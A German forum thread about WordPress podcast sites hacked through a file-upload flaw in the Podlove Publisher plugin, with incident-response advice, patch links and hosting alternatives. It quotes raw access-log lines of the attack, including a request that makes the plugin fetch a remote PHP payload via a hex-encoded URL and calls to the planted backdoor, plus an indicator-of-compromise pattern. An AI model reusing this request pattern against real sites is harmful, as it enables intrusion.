Warnung: Wordpress-"Ausfälle"

Hallo,

ich betreue die Website unter wissenschaftspodcasts.de. Dort haben wir einen Import von Episodendaten laufen.

Seit gestern häufen sich sehr stark Import-Fehler. Bei vielen der betroffenen Podcasts sind Wordpress und Feed nicht mehr erreichbar.

Bei einem Freund lag eine “kryptisch” benannte Datei in wp-admin. Vielleicht ist da noch mehr im System.

Ich weiß nicht, ob das zusammenhängen kann, aber Version 4.2.7 vom Podlove Publisher-Plugin schließt eine Sicherheitslücke

security: Improved handling of image files in the download cache to block malicious uploads.

Ich schreibe dieses, damit ihr ggf. noch schnell reagieren und vielleicht noch schnell aktualisieren könnt, bevor etwas passiert.

Viele Grüße
Lars

2 „Gefällt mir“

Ich hatte einen Hackangriff: Es wurden eine Backdoor und Schadcode in meinem WordPress installiert. Der Eindringling ist vermutlich über den Podlove-Cache hereingekommen.

Hallo Sascha,

ich hielt es erst für einen technischen Fehler; nun glaube ich aber vielmehr: Deine Website wurde gehackt. Ich habe sie soeben daher erstmal aus dem Verkehr gezogen, in dem ich /var/www/virtual/lautfunk/html in html.compromised umbenannt habe.

Ich habe nämlich diese PHP-Datei hier gefunden:

-r--r--r--. 1 lautfunk lautfunk 29033 Sep 23 08:41 wp-admin/dPa1Y6.php

Kurz mal reingeschaut: Da ist ganz klar Schadcode drin. Da brauchen wir uns dann vermutlich nicht weiter auf die Suche nach möglichen Gründen einer geleerten Crontab zu machen: Das ist ein ganz häufiger Effekt bei Websites, in die eingebrochen wurde... :/

Es gibt genau einen einzigen Aufruf dieser Datei:

2025-09-23T08:41:40+02:00 lautfunk lautfunk.uber.space:443 196.251.86.99 - "GET /wp-admin/dPa1Y6.php HTTP/1.1" 200 2879 0.009 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0"

Und wenn ich dann nach jener IP in unserem Log suche, finde ich auch Zugriffe auf andere Dateien:

2025-09-23T08:41:39+02:00 lautfunk lautfunk.uber.space:443 196.251.86.99 - "GET /index.php?podlove_image_cache_url=68747470733a2f2f6933302e627a2f6769662f6769662e706870&podlove_file_name=pkhyanbb HTTP/1.1" 200 7638 1.200 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0"
2025-09-23T08:41:40+02:00 lautfunk lautfunk.uber.space:443 196.251.86.99 - "GET /wp-content/cache/podlove/58/ad91087f861465027fa63c3b864200/pkhyanbb_original.php?up=1 HTTP/1.1" 200 131 1.096 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0"
2025-09-23T08:41:40+02:00 lautfunk lautfunk.uber.space:443 196.251.86.99 - "GET /wp-admin/dPa1Y6.php HTTP/1.1" 200 2879 0.009 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0"
2025-09-23T08:41:41+02:00 lautfunk lautfunk.uber.space:443 196.251.86.99 - "GET /wp-content/cache/podlove/58/ad91087f861465027fa63c3b864200/pkhyanbb_original.php?clear=1 HTTP/1.1" 200 76 0.491 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0"

Die hier auch angesprochene Datei...

wp-content/cache/podlove/58/ad91087f861465027fa63c3b864200/pkhyanbb_original.php

... ist nicht mehr zu finden, scheint aber das Einfallstor gewesen zu sein, das der Angreifer dann nach dem Platzieren der wp-admin/dPa1Y6.php wieder entfernt hat. Ich weiß nicht, wie es eine PHP-Datei in den Cache von Podlove schafft; es muss aber nicht unbedingt eine Lücke in Podlove gewesen sein; vielleicht wurde die Datei über irgendeine andere Lücke in deinem Asteroid platziert und dort schien einfach nur ein gutes Versteck zu sein - das weiß ich leider nicht.

Bitte nimm die WordPress-Installation keinesfalls mehr in dieser Form in Betrieb. Auch ein Bereinigen der Backdoors (z.B. per Wiederherstellung des sauberen Backups) ist nicht wirklich zielführend: Die Version aus dem Backup mag zwar sauber sein; sie ist aber offenkundig auch angreifbar, enthält also eine Lücke. Ein Restore wird insofern nur eine weiterhin verwundbare Version wieder online bringen, so dass eine schnelle Neuinfektion wahrscheinlich wäre.

Unsere Empfehlung ist, stattdessen ein aktuelles WordPress aus sauberer, offizieller Quelle neu zu installieren und auch alle Plugins in jeweils neuester Version aus sauberer, offizieller Quelle zu installieren. Unserer Erfahrung nach stellen eher unsichere bzw. schlecht gepflegte bzw. nicht aktualisierte Plugins das Einfallstor, nicht mehr so sehr WordPress selbst (dessen Security-Record sich stark verbessert hat, und durch dessen automatische Updates viele Lücken sehr schnell geschlossen werden). Anschließend kannst du den Content (also vornehmlich die Datenbank) übernehmen - allerdings keinesfalls irgendwelchen Code.

das selbe ist heute wider passiert nachdem ich ein neues wordpress mit podlove instaliert hatte gestern.

Das klingt in der Tat nach der vor wenigen Tagen geschlossenen Sicherheitslücke.

Die Lücke: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/podlove-podcasting-plugin-for-wordpress/podlove-podcast-publisher-426-unauthenticated-arbitrary-file-upload

Geschlossen mit Version 4.2.7 (und 4.3.0-beta16 für Beta-Nutzer).

1 „Gefällt mir“

Uberspace hat dazu auch schon was gepostet auf Mastodon.

Haben wir schon ein Verständnis davon, was das Ziel war bzw. wer dahinter stecken könnte? War das einfach random jede Podlove-Installation? Und gibt es eine Übersicht, wer davon betroffen war?
:waving_hand: Also hier, ich schon.

Also es gab auf meinem System eine massive Last und es gab viele Zugriffe von außen und von meinen Server aus.

https://hoer-doch-mal-zu.de hatte es auch erwischt, aber @fairsein hat das Ptroblem mittels Backup innerhalb weiger stunden gefixed.

1 „Gefällt mir“

buchpodcast.de ebenfalls.

mich hat es auch mit Plants and Pipettes erwischt, ein Projekt im Dornröschenschlaf, das ich jetzt erstmal retten muss. :confused:

Quasi related: was nimmt man denn heutzutage, wenn man einen Podcast hosten möchte, aber keine Lust auf Services oder Wordpress hat? Gibt es eine gute Alternative, vielleicht sogar was mit Static Sites?

Uberspace hat dazu einen Blogeintrag gemacht, er etwas besser erklärt, was passiert ist.

1 „Gefällt mir“

Ich habe einen komplett statischen Minipodcast mal mit Mikrowelle OS gehostet:

Mikrowelle OS is a static page generator for podcast websites and feeds: https://github.com/thomersch/Mikrowelle-OS

Podcast: https://tensorvoices.de

1 „Gefällt mir“

Castopod könnte eine Alternative sein, weil es nicht so weit verbreitet ist, wie Wordpress und sich automatisierte Attacken wie diese nicht „lohnen“. Da gibt es einen Import-Assistenten, der wohl ganz gut funktioniert. (Nicht selbst getestet.)

1 „Gefällt mir“

Klingt interessant, aber ich bräuchte mehr als eine reine Podcastplattform - quasi ein reguläres CMS aber mit sinnvoller Podcastunterstützung und ohne eigene Programmierkenntnisse einsetzbar.

Der letzte Commit war vor sieben Jahren – gerade in Hinblick auf die Sicherheitsthematik scheint das keine gute Alternative zu sein.

Welche Angriffsvektoren siehst du bei einem statischen Webseitengenerator?

1 „Gefällt mir“

@ericteubert könntest Du mal bitte hier nen Link rein werfen, wo die ganze Situation von Seiten der Entwickler aufgearbeitet und erklärt wurde.

Leider habe ich da nichts gefunden. :frowning:

https://github.com/advisories/GHSA-2m7h-5m38-vhh4

Hallo @CTHTC, ich habe das hier gefunden, geht das in die Richtung was Du suchst.

Grüße

Gero

1 „Gefällt mir“

Ach richtig, wollte hier auch noch was auf deutsch schreiben. Bisher nur im englischsprachigen Forum: https://community.podlove.org/t/unauthenticated-arbitrary-file-upload-vulnerability/3500

2 „Gefällt mir“

Ich habe mir jetzt das Image von einem kompromittierten Wordpress mal genauer angeschaut und dabei Folgendes gelernt. (Vorab-Warnung: Ich bin kein Security Forscher. Ich bin Hobby Admin und arbeite hier mit gpt-5.)

In diesem Fall haben die Angreifer die index.php im Hauptverzeichnis modifiziert, sodass sie Code nachlädt und ausführt (bei jedem Seitenaufruf). Den habe ich mir angeschaut und der Zweck dieser Aktion war, dass die Seite sich unterschiedlich verhält, je nachdem, ob ein Mensch oder ein search engine crawler sie besucht. Menschen lässt sie einfach durch, aber wenn der Googlebot kommt, dann liefert sie ganz komisches Zeug aus, was damit zu tun hatte einen asiatischen Fake-Mode Shop zu promoten oder eben den Google-Index zu manipulieren. gpt-5 meinte, das heißt “SEO poisoning” oder “robot hijacking”.

Einen Schreckmoment hatte ich dabei: Das LLM hat als indicators of compromise folgende Strings ausgegeben: avsg\.shop|aHR0cHM6Ly9hdnNnLnNob3A=|tiaozhuan|dqwz|MULUund dann stellte sich raus, dass dqwz in der echten devbox.lock im Podlove Plugin vorkommt. Ich konnte jetzt auch nicht aufklären, ob das Zufall ist. Dieser String kommt jedenfalls in der Malware beim Bauen einer URL als Argument vor.

1 „Gefällt mir“